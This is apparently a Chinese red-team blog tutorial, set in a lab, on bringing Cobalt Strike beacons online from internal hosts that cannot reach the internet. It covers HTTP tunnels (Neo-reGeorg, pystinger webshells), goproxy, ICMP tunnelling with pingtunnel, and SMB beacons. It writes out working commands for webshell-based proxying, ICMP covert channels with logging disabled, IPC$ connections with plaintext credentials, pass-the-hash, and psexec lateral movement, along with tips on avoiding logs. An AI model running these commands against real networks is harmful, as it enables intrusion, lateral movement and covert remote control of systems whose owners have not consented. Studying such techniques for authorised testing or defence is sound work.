1 正向连接
主要针对入口和内网都不出网的机器。如果没有已经上线的内网机器,可以使用Neo-reGeorg之类的HTTP隧道,本机上线cs。入口机/不出网的内网机正向shell监听端口,将beacon代理进内网使用cs的connect请求能连接正向shell的监听端口
1.1 环境信息
公网C2服务器
本机:192.168.236.131(做跳板机,通过HTTP隧道连通内网)
目标机(未上线):192.168.199.130(不出网,提供web服务)
1.2 Neo-reGeorg
流量路线:CS流量->本机beacon->本机SOCKS5->HTTP隧道->内网->内网beacon
Neo-reGeorg、reGeorg的HTTP隧道在这里偶尔会出现跳板机(本机)直接与c2服务器断开的情况,这也导致了内网机与cs断连
2.本机proxifier代理进目标机192.168.199.130的内网
4.创建个正向的马,只能选择stageless Beacon
Stager型:只包含简单的加载逻辑部分,stager通过将c2的payload加载进内存从而实现pe加载,这种加载方式也就是反射型DLL加载。
Stageless型:stager+payload全写死在木马中,相比较于Stager型体积更大,特征码更明显。
6.本机Beacon下connect主动连接到目标机
#连接
connect 192.168.199.130 12345
#取消连接
unlink 192.168.199.130
可以看到目标机192.168.199.130成功通过本地机上线
2 反向上线
使用已经上线的内网机做跳板中转流量
2.1 环境信息
c2服务器:192.168.199.132
内网主机1(已上线):192.168.199.130、169.254.167.241(跳板机,出网,提供web服务,能连通内网2)
内网主机2(未上线):169.254.248.62(不出网,不能连通内网主机1)
2.2 上线流程
1.主机1正常上线,然后"Pivoting->Listener"创建反向端口转发监听器
3.在内网机器2上执行后即可上线
可利用IPC$,使用PsExec或计划任务等方式进行执行。需要注意的是使用在创建或删除psexec服务时会产生大量的日志
3 毒刺(pystinger)反向上线
毒刺(pystinger)通过webshell实现内网SOCK4代理,端口映射。可直接用于metasploit-framework,viper,cobalt strike上线。主体使用python开发,当前支持php,jsp(x),aspx三种代理脚本
项目地址:https://github.com/FunnyWolf/pystinger
适用条件:在只能访问web服务且入口机器不出网的情况下可以使其上线cs;内网其他机器能访问入口机器,且不能出网时可以上线
注:客户端只能用linux,这里试过客户端为windows,没成功,建立不起tcp连接,暂不清楚原因
3.1 原理简述
流量路线(数据带回通过http应答):CS流量<->stinger_client<->webshell(进行中转)<->stinger_server<->beacon
简单理解:攻击机与目标机的流量转发通过webshell,stinger_server用于建立连接并对数据做处理,stinger_client用来处理webshell响应包的数据,然后与CS/MSF的listener建立TCP连接并把数据转发过去
3.2 环境信息
这里内网主机2开了防火墙,也访问不到攻击机IP,懒得再配环境就当做只与内网主机1连通的机器了
攻击机(C2服务器):192.168.236.135(ubuntu)
不出网主机1(未上线):192.168.199.130(Windows,不出网,提供外网WEB服务)
不出网主机2(未上线):192.168.199.131(Windows,不出网,能连通内网主机2)
注:这里不出网机器2需要能够连通不出网主机1的,因为不出网机器2的流量需要转发到不出网主机1的60020端口经由stinger_server处理后交给webshell进行中转
3.3 上线流程
1.首先将对应脚本放至主机1的web路径下,正常返回UTF-8
2.在不出网主机1上执行stinger_server.exe
蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端,默认会监听60010和60020端口,60020用于CS/MSF的listener进行通信。注:不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连
#单主机上线
start stinger_server.exe
#多主机上线
start stinger_server.exe 0.0.0.0
3.攻击机(即c2服务器)上执行
./stinger_client -w http://192.168.199.130/proxy.php -l 0.0.0.0 -p 60000
执行后效果如下:
- 攻击机的6000端口开了个192.168.199.130所在内网的socks4a代理
- 将内网主机1的60020端口映射到攻击机的60020(默认为60020)
4.CS监听
这里分了单主机上线和多主机上线,都一样的,最终流量都是要到stinger_server端的60020端口
单主机(上线不出网主机1)
配置IP:127.0.0.1
端口填上方客户端RAT Config的端口,默认为60020
多主机(上线不出网主机2)
配置IP:内网不出网主机1的IP(即运行stinger_server端的那台机器)
相当于将stinger_server那台机器做跳板,所有的流量都要先到它的60020进行处理中转
4 goproxy
比较稳定
4.1 反向马上线
入口机器出网,内网互通,但内网机器不出网
4.1.1 环境信息
c2服务器:192.168.199.132
内网主机1(已上线):192.168.199.130、169.254.167.241(跳板机,出网,提供web服务)
内网主机2(未上线):169.254.248.62(不出网,能连通内网主机1)
4.1.2 上线流程
上线路线为:内网机器2->内网跳板机1(通过1080的代理)->c2服务器
1.内网主机1上开http代理
proxy.exe http -t tcp -p "0.0.0.0:1080" --daemon
2.配置cs监听器
IP:C2服务器ip
HTTP Proxy:跳板机开的代理地址,这里为http://169.254.167.241:1080
4.2 正向马上线
入口机器出网,入口机器能连通内网机器,但内网机器不能连通入口机器。这里使用的方法和第一个类似,只是跳板为内网主机1而不是本机
4.2.1 环境信息
c2服务器:192.168.199.132
内网主机1(已上线):192.168.199.130、169.254.167.241(跳板机,出网,提供web服务,能连通内网2)
内网主机2(未上线):169.254.248.62(不出网,不能连通内网主机1)
4.2.2 上线流程
1.正常上线内网主机1
3.生成stageless Beacon,并在内网主机2中运行
4.在内网主机1的beacon中执行connect连接主机2即可成功上线
connect 169.254.248.62 12345
5 仅ICMP出网
5.1 环境信息
公网C2服务器
内网主机:192.168.236.131(仅ICMP出网)
5.2 pingtunnel
pingtunnel可以将tcp/udp/sock5流量伪装成icmp流量进行转发
下载地址:https://github.com/esrrhs/pingtunnel
1.开启服务端
这里直接在c2服务器上执行,也可以在其他服务器开启pingtunnel服务端
./pingtunnel -type server
2.内网主机执行
内网主机监听9999端口,将到该端口的流量通过icmpserver转发到c2服务器的7777端
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t C2_Server_IP:7777 -tcp 1 -noprint 1 -nolog 1
3.配置C2 Listener
监听器需要配置两个
- 127.0.0.1:9999,用于客户端运行的beacon,将beacon流量转到9999端口
- C2_Server_IP:7777,最终通过icmpserver转发的流量会到这个监听器端口
4.生成stageless Beacon
监听器选择127.0.0.1那一个
6 SMB Beacon
SMB Beacon使用命名管道与父级Beacon进行通讯,流量都分封装在SMB协议中,所以不需要目标机能连通已上线的内网主机,只需要已上线的内网主机能与目标机建立IPC连接即可。
使用条件:
- 使用SMB Beacon的主机必须能接收445端口上的连接
- 利用SMB Beacon横向必须有目标的管理员组的权限用户或拥有管理员组权限的凭证
已经有一台内网机器上线,另一台内网机器不出网,但是c2那台能和这台SMB 445连接
6.1 环境信息
C2服务器:192.168.236.135
内网主机1(已上线):192.168.236.133、169.254.167.241(可出网)
内网主机2(未上线):169.254.248.62(配置防火墙仅允许SMB协议使用的端口入站,禁止任何协议出站)
6.2 上线流程
2.上线SMB Beacon
已有明文密码的情况
#建立IPC$连接
shell net use \\169.254.248.62 "test123" /u:administrator
#psexec上线cs,这里使用的powershell版本
jump psexec_psh 169.254.248.62 SMB-Beacon
#取消连接
unlink 169.254.248.62
有密码hash情况下
利用pth建立IPC连接后使用psexec上线
#还原初始令牌
rev2self
#PTH
pth DESKTOP-AK13O1K\administrator c5a237b7e9d8e708d8436b6148a25fa1
#上线
jump psexec_psh 169.254.248.62 SMB-Beacon
#取消连接
unlink 169.254.248.62
也可在探测目标存活后选择"View->Targets->对目标右键->Jump->psexec"
如果在最后使用psexec报错:
[-] Could not open service control manager on DESKTOP-AK13O1K: 1722
[-] Could not connect to pipe (\DESKTOP-AK13O1Kpipestatus_e8c2): 53
[-] Could not connect to pipe: 53
可以将最后一步psexec操作的主机名换为IP,即可上线
7 参考
cs利用smb上线出网与不出网主机
CS 4.0 SMB Beacon
内网渗透--突破安全策略上线CS
红队攻防之特殊场景上线cs和msf
评论已关闭